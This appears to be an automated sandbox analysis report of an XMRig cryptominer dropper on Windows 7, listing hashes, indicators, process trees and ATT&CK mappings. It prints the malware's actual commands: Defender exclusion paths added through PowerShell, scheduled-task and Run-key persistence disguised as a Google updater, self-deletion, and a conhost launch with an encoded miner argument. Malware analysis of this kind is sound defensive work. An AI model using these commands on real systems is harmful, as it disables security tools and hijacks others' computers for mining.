xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
313s
max time network
1794s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

Processes:

DLKFnAGYJBNTnxwq.exeupdater.execonhost.exe

description	pid	process	target process
PID 756 created 1224	756	DLKFnAGYJBNTnxwq.exe	Explorer.EXE
PID 756 created 1224	756	DLKFnAGYJBNTnxwq.exe	Explorer.EXE
PID 756 created 1224	756	DLKFnAGYJBNTnxwq.exe	Explorer.EXE
PID 756 created 1224	756	DLKFnAGYJBNTnxwq.exe	Explorer.EXE
PID 2956 created 1224	2956	updater.exe	Explorer.EXE
PID 2956 created 1224	2956	updater.exe	Explorer.EXE
PID 2956 created 1224	2956	updater.exe	Explorer.EXE
PID 2956 created 1224	2956	updater.exe	Explorer.EXE
PID 2820 created 1224	2820	conhost.exe	Explorer.EXE
PID 2956 created 1224	2956	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

Processes:

resource	yara_rule
behavioral9/memory/2980-68-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-70-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-144-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2980-146-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

1012 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

2956 updater.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

2892 taskeng.exe

pid	process
1012	cmd.exe

pid	process
2956	updater.exe

pid	process
2892	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral9/memory/2980-63-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-68-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-70-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-144-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2980-146-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 2956 set thread context of 2820	2956	updater.exe	conhost.exe
PID 2956 set thread context of 2980	2956	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

updater.execmd.execmd.exeDLKFnAGYJBNTnxwq.exe

description	ioc	process
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	DLKFnAGYJBNTnxwq.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2840 schtasks.exe
2808 schtasks.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

1220 WMIC.exe

pid	process
2840	schtasks.exe
2808	schtasks.exe

pid	process
1220	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 90df9ff1474eda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

DLKFnAGYJBNTnxwq.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
756	DLKFnAGYJBNTnxwq.exe
756	DLKFnAGYJBNTnxwq.exe
2096	powershell.exe
756	DLKFnAGYJBNTnxwq.exe
756	DLKFnAGYJBNTnxwq.exe
2676	powershell.exe
756	DLKFnAGYJBNTnxwq.exe
756	DLKFnAGYJBNTnxwq.exe
756	DLKFnAGYJBNTnxwq.exe
756	DLKFnAGYJBNTnxwq.exe
2616	powershell.exe
2956	updater.exe
2956	updater.exe
1696	powershell.exe
2956	updater.exe
2956	updater.exe
616	powershell.exe
2956	updater.exe
2956	updater.exe
2956	updater.exe
2956	updater.exe
2820	conhost.exe
2820	conhost.exe
2956	updater.exe
2956	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

464

pid	process
464

Suspicious use of AdjustPrivilegeToken 31 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exe

description	pid	process
Token: SeDebugPrivilege	2096	powershell.exe
Token: SeDebugPrivilege	2676	powershell.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	1696	powershell.exe
Token: SeDebugPrivilege	616	powershell.exe
Token: SeDebugPrivilege	2956	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1220	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1220	WMIC.exe
Token: SeSecurityPrivilege	1220	WMIC.exe
Token: SeTakeOwnershipPrivilege	1220	WMIC.exe
Token: SeLoadDriverPrivilege	1220	WMIC.exe
Token: SeSystemtimePrivilege	1220	WMIC.exe
Token: SeBackupPrivilege	1220	WMIC.exe
Token: SeRestorePrivilege	1220	WMIC.exe
Token: SeShutdownPrivilege	1220	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1220	WMIC.exe
Token: SeUndockPrivilege	1220	WMIC.exe
Token: SeManageVolumePrivilege	1220	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1220	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1220	WMIC.exe
Token: SeSecurityPrivilege	1220	WMIC.exe
Token: SeTakeOwnershipPrivilege	1220	WMIC.exe
Token: SeLoadDriverPrivilege	1220	WMIC.exe
Token: SeSystemtimePrivilege	1220	WMIC.exe
Token: SeBackupPrivilege	1220	WMIC.exe
Token: SeRestorePrivilege	1220	WMIC.exe
Token: SeShutdownPrivilege	1220	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1220	WMIC.exe
Token: SeUndockPrivilege	1220	WMIC.exe
Token: SeManageVolumePrivilege	1220	WMIC.exe
Token: SeLockMemoryPrivilege	2980	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 2676 wrote to memory of 2840	2676	powershell.exe	schtasks.exe
PID 2676 wrote to memory of 2840	2676	powershell.exe	schtasks.exe
PID 2676 wrote to memory of 2840	2676	powershell.exe	schtasks.exe
PID 1012 wrote to memory of 2640	1012	cmd.exe	choice.exe
PID 1012 wrote to memory of 2640	1012	cmd.exe	choice.exe
PID 1012 wrote to memory of 2640	1012	cmd.exe	choice.exe
PID 2616 wrote to memory of 1984	2616	powershell.exe	schtasks.exe
PID 2616 wrote to memory of 1984	2616	powershell.exe	schtasks.exe
PID 2616 wrote to memory of 1984	2616	powershell.exe	schtasks.exe
PID 2892 wrote to memory of 2956	2892	taskeng.exe	updater.exe
PID 2892 wrote to memory of 2956	2892	taskeng.exe	updater.exe
PID 2892 wrote to memory of 2956	2892	taskeng.exe	updater.exe
PID 616 wrote to memory of 2808	616	powershell.exe	schtasks.exe
PID 616 wrote to memory of 2808	616	powershell.exe	schtasks.exe
PID 616 wrote to memory of 2808	616	powershell.exe	schtasks.exe
PID 2956 wrote to memory of 2820	2956	updater.exe	conhost.exe
PID 1008 wrote to memory of 1220	1008	cmd.exe	WMIC.exe
PID 1008 wrote to memory of 1220	1008	cmd.exe	WMIC.exe
PID 1008 wrote to memory of 1220	1008	cmd.exe	WMIC.exe
PID 2956 wrote to memory of 2980	2956	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1224

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:756

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2096

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2676

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:2840

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2616

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1696

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:616

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:2808

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:1740

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1008

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1220

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2820

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2980

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2640

C:\Windows\system32\taskeng.exe
taskeng.exe {2BBA2E3E-632A-4C8C-9236-16DBAC4895D5} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2892

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2956

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:1984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
231KB

MD5
e192f7e141fec342577eaa0cf005ecef

SHA1
4d03c316cdde8e851ade3895530fcd26ae743ece

SHA256
23f9099b51c59bdc27ac6c96176eca0020e2fa5cc0002a0d3028c4317b081e10

SHA512
ccfa71ebfad07bcd8706d9cd08cea1507265ef3d0653a522b4edede24dd628fca4bbea2b30bc12657044fdcea0d36564c701fc588dd2103b6d3fa9d7fa423e24

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
80KB

MD5
063a1e41b73382931025562016edf3e5

SHA1
63a883a6ff7e402473f9636c5e872ecf38e13745

SHA256
8b2556cf1d125112add2976ea146cdaaf39b7c0878fe0c68332ef73448ea6c64

SHA512
39079679b3c550562160a429c6e096467109475c1f7090c66d6d9b61d24fc9d7c5db3021b003c2df52b409c6914c7f6f3b51fab0e2c7ec2a295b8bdd8bd70e5a

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
edef573becc42fea28eb561ac2bc60e7

SHA1
814d2b869e79e4e83d1604fea9094a68b6a02fa6

SHA256
48dbbdaf1e3aeac7314b29a176532a92191b450aec65ba3f71a6146ddd80b7d0

SHA512
d21f48eacf73190a5e372a40e6593ca5340a210db7c3d3db09b19099b1c0d1979780a5e98a97eb95c79e0a450853bffce6199384cdd1f9d63d5ca93c8b9f5e58

Download Submit
\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Program Files\Google\Chrome\updater.exe
Filesize
355KB

MD5
a76048ba3419069bcf8a6f0eea9b95eb

SHA1
643f46bc28ab2f07be640baed9fc84f675e576a7

SHA256
6408514746ff77d68829762574725b91b871bbf0e207afe06ed66e53d6ace455

SHA512
ce8c0657fdb41ea488296297e24dd20b4491f0d381300f40618b53bfdf32f7c2eb9c5efd0f29f2f6fe9b5e2284fb9433c195ea68e7cd2a4d2a3c15a27ab78869

Download Submit
memory/616-50-0x000007FEF62A0000-0x000007FEF6C3D000-memory.dmp

Filesize
9.6MB

Download
memory/616-51-0x00000000012C0000-0x0000000001340000-memory.dmp

Filesize
512KB

Download
memory/616-55-0x000007FEF62A0000-0x000007FEF6C3D000-memory.dmp

Filesize
9.6MB

Download
memory/616-52-0x000007FEF62A0000-0x000007FEF6C3D000-memory.dmp

Filesize
9.6MB

Download
memory/616-54-0x00000000012C0000-0x0000000001340000-memory.dmp

Filesize
512KB

Download
memory/616-53-0x00000000012C0000-0x0000000001340000-memory.dmp

Filesize
512KB

Download
memory/756-25-0x000000013F210000-0x000000013F421000-memory.dmp

Filesize
2.1MB

Download
memory/756-0-0x000000013F210000-0x000000013F421000-memory.dmp

Filesize
2.1MB

Download
memory/1696-44-0x000007FEF5900000-0x000007FEF629D000-memory.dmp

Filesize
9.6MB

Download
memory/1696-46-0x000007FEF5900000-0x000007FEF629D000-memory.dmp

Filesize
9.6MB

Download
memory/1696-49-0x000007FEF5900000-0x000007FEF629D000-memory.dmp

Filesize
9.6MB

Download
memory/1696-47-0x00000000011C0000-0x0000000001240000-memory.dmp

Filesize
512KB

Download
memory/1696-48-0x00000000011CB000-0x0000000001232000-memory.dmp

Filesize
412KB

Download
memory/1696-45-0x00000000011C0000-0x0000000001240000-memory.dmp

Filesize
512KB

Download
memory/2096-10-0x00000000025D0000-0x0000000002650000-memory.dmp

Filesize
512KB

Download
memory/2096-8-0x000007FEF62A0000-0x000007FEF6C3D000-memory.dmp

Filesize
9.6MB

Download
memory/2096-9-0x00000000025D0000-0x0000000002650000-memory.dmp

Filesize
512KB

Download
memory/2096-42-0x00000000025D0000-0x0000000002650000-memory.dmp

Filesize
512KB

Download
memory/2096-7-0x000007FEF62A0000-0x000007FEF6C3D000-memory.dmp

Filesize
9.6MB

Download
memory/2096-6-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/2096-5-0x000000001B230000-0x000000001B512000-memory.dmp

Filesize
2.9MB

Download
memory/2616-36-0x0000000002270000-0x00000000022F0000-memory.dmp

Filesize
512KB

Download
memory/2616-33-0x0000000002270000-0x00000000022F0000-memory.dmp

Filesize
512KB

Download
memory/2616-38-0x000007FEF62A0000-0x000007FEF6C3D000-memory.dmp

Filesize
9.6MB

Download
memory/2616-37-0x0000000002270000-0x00000000022F0000-memory.dmp

Filesize
512KB

Download
memory/2616-32-0x000007FEF62A0000-0x000007FEF6C3D000-memory.dmp

Filesize
9.6MB

Download
memory/2616-35-0x0000000002270000-0x00000000022F0000-memory.dmp

Filesize
512KB

Download
memory/2616-34-0x000007FEF62A0000-0x000007FEF6C3D000-memory.dmp

Filesize
9.6MB

Download
memory/2676-22-0x00000000025B0000-0x0000000002630000-memory.dmp

Filesize
512KB

Download
memory/2676-23-0x000007FEF5900000-0x000007FEF629D000-memory.dmp

Filesize
9.6MB

Download
memory/2676-20-0x000007FEF5900000-0x000007FEF629D000-memory.dmp

Filesize
9.6MB

Download
memory/2676-21-0x00000000025B0000-0x0000000002630000-memory.dmp

Filesize
512KB

Download
memory/2676-19-0x00000000025B0000-0x0000000002630000-memory.dmp

Filesize
512KB

Download
memory/2676-18-0x0000000002350000-0x0000000002358000-memory.dmp

Filesize
32KB

Download
memory/2676-16-0x000000001B0F0000-0x000000001B3D2000-memory.dmp

Filesize
2.9MB

Download
memory/2676-17-0x000007FEF5900000-0x000007FEF629D000-memory.dmp

Filesize
9.6MB

Download
memory/2820-67-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2820-71-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2956-43-0x000000013F610000-0x000000013F821000-memory.dmp

Filesize
2.1MB

Download
memory/2956-62-0x000000013F610000-0x000000013F821000-memory.dmp

Filesize
2.1MB

Download
memory/2980-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2980-65-0x00000000001A0000-0x00000000001C0000-memory.dmp

Filesize
128KB

Download
memory/2980-68-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
